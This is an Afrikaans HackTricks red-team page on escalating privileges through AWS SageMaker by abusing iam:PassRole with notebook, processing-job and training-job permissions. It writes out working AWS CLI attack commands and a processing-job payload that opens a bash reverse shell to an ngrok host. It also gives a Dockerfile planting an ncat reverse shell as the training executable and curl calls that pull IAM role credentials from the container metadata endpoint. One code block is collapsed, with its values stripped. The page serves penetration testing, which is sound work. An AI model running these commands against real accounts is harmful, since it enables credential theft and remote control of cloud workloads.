AWS - Sagemaker Privesc

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Begin met die skep van 'n notaboek met die IAM Role wat daaraan gekoppel is:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

Die antwoord moet 'n NotebookInstanceArn veld bevat, wat die ARN van die nuutgeskepte notaboekinstansie sal bevat. Ons kan dan die create-presigned-notebook-instance-url API gebruik om 'n URL te genereer wat ons kan gebruik om toegang tot die notaboekinstansie te verkry sodra dit gereed is:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Navigeer na die URL met die webblaaier en klik op "Open JupyterLab" in die boonste regterhoek, skrol dan af na die "Launcher" -kategorie en klik op die "Terminal" -knoppie onder die "Other" -afdeling.

Nou is dit moontlik om toegang te verkry tot die metadata-geloofsbriewe van die IAM Role.

Potensiële Impak: Privesc na die gespesifiseerde sagemaker-diensrol.

sagemaker:CreatePresignedNotebookInstanceUrl

As daar reeds Jupyter-notaboekies op dit loop en jy kan hulle lys met sagemaker:ListNotebookInstances (of hulle op enige ander manier ontdek). Jy kan 'n URL vir hulle genereer, toegang tot hulle verkry en die geloofsbriewe steel soos aangedui in die vorige tegniek.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Potensiële Impak: Privesc na die sagemaker-diensrol wat aangeheg is.

sagemaker:CreateProcessingJob,iam:PassRole

'n Aanvaller met daardie toestemmings kan sagemaker dwing om 'n verwerkingswerk uit te voer met 'n sagemaker-rol wat daaraan geheg is. Die aanvaller kan die definisie van die houer aandui wat in 'n AWS-bestuurde ECS-rekeningseksemplaar uitgevoer sal word, en die geloofsbriewe van die gehegde IAM-rol steel.

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

Potensiële Impak: Privesc na die sagemaker-diensrol wat gespesifiseer is.

sagemaker:CreateTrainingJob, iam:PassRole

'n Aanvaller met hierdie toestemmings sal in staat wees om 'n opleidingswerk te skep, wat 'n willekeurige houer daarop laat loop met 'n rol daaraan geheg. Daarom sal die aanvaller in staat wees om die geloofsbriewe van die rol te steel.

Hierdie scenario is moeiliker om uit te buit as die vorige een omdat jy 'n Docker-beeld moet genereer wat die rev shell of geloofsbriewe direk na die aanvaller sal stuur (jy kan nie 'n beginopdrag in die konfigurasie van die opleidingswerk aandui).

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest

```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ --training-job-name privescjob \ --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ --role-arn \ --output-data-config '{"S3OutputPath": "s3://"}' \ --stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

**Potensiële Impak:** Privesc na die sagemaker-diensrol wat gespesifiseer is.

## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

'n Aanvaller met hierdie toestemmings sal (moontlik) in staat wees om 'n **hyperparameter opleidingswerk** te skep, **'n willekeurige houer daarop te laat loop** met 'n **rol daaraan geheg**.\
Ek het dit nie uitgebuit weens 'n gebrek aan tyd nie, maar dit lyk soortgelyk aan die vorige uitbuitings, voel vry om 'n PR te stuur met die uitbuitingsbesonderhede.

# Verwysings
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

<details>

<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Ander maniere om HackTricks te ondersteun:

* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

</details>

Last updated